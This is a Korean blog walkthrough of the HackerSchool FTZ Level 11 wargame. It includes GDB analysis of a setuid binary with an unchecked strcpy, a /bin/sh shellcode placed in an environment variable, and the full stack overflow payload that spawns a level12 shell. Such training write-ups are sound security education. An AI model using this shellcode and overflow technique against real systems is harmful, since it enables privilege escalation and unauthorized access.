e_yejun
Jun_ : Pwn
e_yejun
전체 방문자
오늘
어제
  • 분류 전체보기 (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (8)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • 알고리즘 (42)
    • 프로그래밍 (24)
    • 프로젝트 (6)
    • 1-day (7)
    • CTF (15)
    • 기타 (33)
    • 일기장 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • how2heap
  • 1-day
  • wargame
  • BOF
  • Heap
  • x64
  • dvwa
  • X86
  • rev-basic
  • dreamhack.io

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
e_yejun

Jun_ : Pwn

Pwnable

[HackerSchool] FTZ Level11 풀이 (환경변수)

2019. 12. 10. 20:06

 

ID : level11

PW : what!@#$?

 

 

level11 접속 @_@

 

 

[level11@ftz level11]$ ls -al
total 96
drwxr-xr-x    4 root     level11      4096 Mar 19  2003 .
drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..
-rwsr-x---    1 level12  level11     13733 Mar  8  2003 attackme
-rw-------    1 root     root            1 Jan 15  2010 .bash_history
-rw-r--r--    1 root     level11        24 Feb 24  2002 .bash_logout
-rw-r--r--    1 root     level11       224 Feb 24  2002 .bash_profile
-rw-r--r--    1 root     level11       151 Feb 24  2002 .bashrc
-rw-r--r--    1 root     level11       400 Jan 25  1999 .cshrc
-rw-r--r--    1 root     level11      4742 Jan 25  1999 .emacs
-r--r--r--    1 root     level11       319 Jan 25  1999 .gtkrc
-rw-r--r--    1 root     level11       100 Jan 25  1999 .gvimrc
-rw-r-----    1 root     level11       168 Mar  8  2003 hint
-rw-r--r--    1 root     level11       226 Jan 25  1999 .muttrc
-rw-r--r--    1 root     level11       367 Jan 25  1999 .profile
drwxr-xr-x    2 root     level11      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level11      4096 Sep 13 23:00 tmp
-rw-r--r--    1 root     root            1 May  7  2002 .viminfo
-rw-r--r--    1 root     level11      4145 Jan 25  1999 .vimrc
-rw-r--r--    1 root     level11       245 Jan 25  1999 .Xdefaults

 

 

attackme라는 실행파일과 hint파일이 보입니다.

힌트를 읽어봅시다.

 

 

 

[level11@ftz level11]$ cat hint

#include 
#include 
 
int main( int argc, char *argv[] )
{
   char str[256];

   setreuid( 3092, 3092 );
   strcpy( str, argv[1] );
   printf( str );
} 

 

먼저, 인자를 받아 그 인자를 str변수에 복사하는 코드인 것을 알 수 있습니다.

이때, 복사되는 인자의 크기를 지정해주지 않았기 때문에 버퍼 오버 플로우가 발생하게 됩니다.

 

 

[level11@ftz level11]$ ./attackme aaa
aaa

[level11@ftz level11]$ 

 

 

실행을 하게 되면 인자를 받아 str변수에 복사한 후, 출력하는 것을 볼 수 있습니다.

GDB로 attackme 파일을 분석해봅시다.

 

 

[level11@ftz level11]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main  
Dump of assembler code for function main:
0x08048470 <main+0>: push   ebp
0x08048471 <main+1>: mov    ebp,esp
0x08048473 <main+3>: sub    esp,0x108
0x08048479 <main+9>: sub    esp,0x8
0x0804847c <main+12>: push   0xc14
0x08048481 <main+17>: push   0xc14
0x08048486 <main+22>: call   0x804834c  <setreuid>
0x0804848b <main+27>: add    esp,0x10
0x0804848e <main+30>: sub    esp,0x8
0x08048491 <main+33>: mov    eax,DWORD PTR [ebp+12]
0x08048494 <main+36>: add    eax,0x4
0x08048497 <main+39>: push   DWORD PTR [eax]
0x08048499 <main+41>: lea    eax,[ebp-264]
0x0804849f <main+47>: push   eax
0x080484a0 <main+48>: call   0x804835c <strcpy> 
0x080484a5 <main+53>: add    esp,0x10
0x080484a8 <main+56>: sub    esp,0xc
0x080484ab <main+59>: lea    eax,[ebp-264]
0x080484b1 <main+65>: push   eax
0x080484b2 <main+66>: call   0x804833c  <printf>
0x080484b7 <main+71>: add    esp,0x10
0x080484ba <main+74>: leave  
0x080484bb <main+75>: ret    
0x080484bc <main+76>: nop    
0x080484bd <main+77>: nop    
0x080484be <main+78>: nop    
0x080484bf <main+79>: nop    
End of assembler dump.

 

 

strcpy 함수가 실행되기 전, 인자를 쌓아주는 과정에서 str변수의 주소 거리를 구할 수 있습니다.

str : ebp-264

 

 

아무 값이나 264 + SFP(4) byte, 총 268byte를 채우면 RET를 조작할 수 있습니다.

 

 

RET에 쉘코드가 저장된 주소를 넣어줄건데, 먼저 우리에겐 쉘코드가 필요합니다.

우리는 구글링하면 나오는 48byte 쉘코드를 사용하겠습니다.

 

shellcode.txt
0.00MB

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

 

 

* 쉘코드 만드는 방법 : 준비중

 

 

이 쉘코드를 먼저 환경변수에 등록할 것입니다.

 

 

* 환경변수 (export)

OS가 필요한 정보를 메모리에 등록해 놓고 필요할 때마다 참조하는 영역을 의미한다.
일반 사용자도 필요할 것이 있다면 여기에 등록해서 사용이 가능.
이곳에 등록된 데이터는 고정적인 메모리주소를 가지고 있게 된다.

 

* 환경변수 등록

export [환경변수명]=$(python -c 'print "쉘코드"')

 

 

바로 쉘코드를 환경변수에 등록해봅시다.

 

[level11@ftz level11]$ export env=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')

 

 

잘 올라갔는지 확인해봅시다.

 

 

[level11@ftz level11]$ export
declare -x BASH_ENV="/home/level11/.bashrc"
declare -x G_BROKEN_FILENAMES="1"
declare -x HISTSIZE="1000"
declare -x HOME="/home/level11"
declare -x HOSTNAME="ftz.hackerschool.org"
declare -x INPUTRC="/etc/inputrc"
declare -x LANG="en_US.UTF-8"
declare -x LESSOPEN="|/usr/bin/lesspipe.sh %s"
declare -x LOGNAME="level11"
declare -x LS_COLORS="no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:"
declare -x MAIL="/var/spool/mail/level11"
declare -x OLDPWD="/home/level11/tmp"
declare -x PATH="/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level11/bin"
declare -x PS1="[\\u@\\h \\W]\$ "
declare -x PWD="/home/level11"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="192.168.10.1 5695 22"
declare -x SSH_CONNECTION="192.168.10.1 5695 192.168.10.244 22"
declare -x SSH_TTY="/dev/pts/2"
declare -x TERM="xterm"
declare -x USER="level11"
declare -x env="1육1??횋?육F?1픐h//shh/bin??S??째
                                                      ?1육?"

[level11@ftz level11]$ 

 

 

이제 코드를 짜서 올라간 환경변수의 주소를 얻을 수 있습니다.

tmp폴더로 가서 바로 짜봅시다.

 

 

[level11@ftz level11]$ cd tmp
[level11@ftz tmp]$ vi env.c

 

#include<stdio.h>

int main(){
	printf("%p\n",getenv("env"));
	return 0;
}

 

컴파일 후 실행해봅시다.

 

 

[level11@ftz tmp]$ gcc -o env env.c

[level11@ftz tmp]$ ls
env  env.c

[level11@ftz tmp]$ ./env
0xbfffff54 

 

 

이제 모든 준비가 끝났습니다.

 

 

위에서 구한대로 str변수의 시작에서 RET 시작까지의 거리는 268byte입니다.

이후 최종적으로 RET에 0xbfffff54를 넣게 되면 쉘을 딸 수 있는 것이죠.

바로 한번 입력해봅시다.

 

 

[level11@ftz level11]$ ./attackme `python -c 'print "A"*268 + "\x54\xff\xff\xbf"'`
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)

 

uid가 level12인 것을 확인할 수 있습니다.

 

 

sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is 

sh-2.05b$ 

 

 

 

level11 clear!

 

 

 

    'Pwnable' 카테고리의 다른 글
    • [HackCTF] Basic_BOF #2 Write-up
    • [HackCTF] Basic_BOF #1 Write-up
    • [HackerSchool] FTZ Level10 풀이
    • [HackerSchool] FTZ Level9 풀이
    e_yejun
    e_yejun
    정리노트 •_•

    티스토리툴바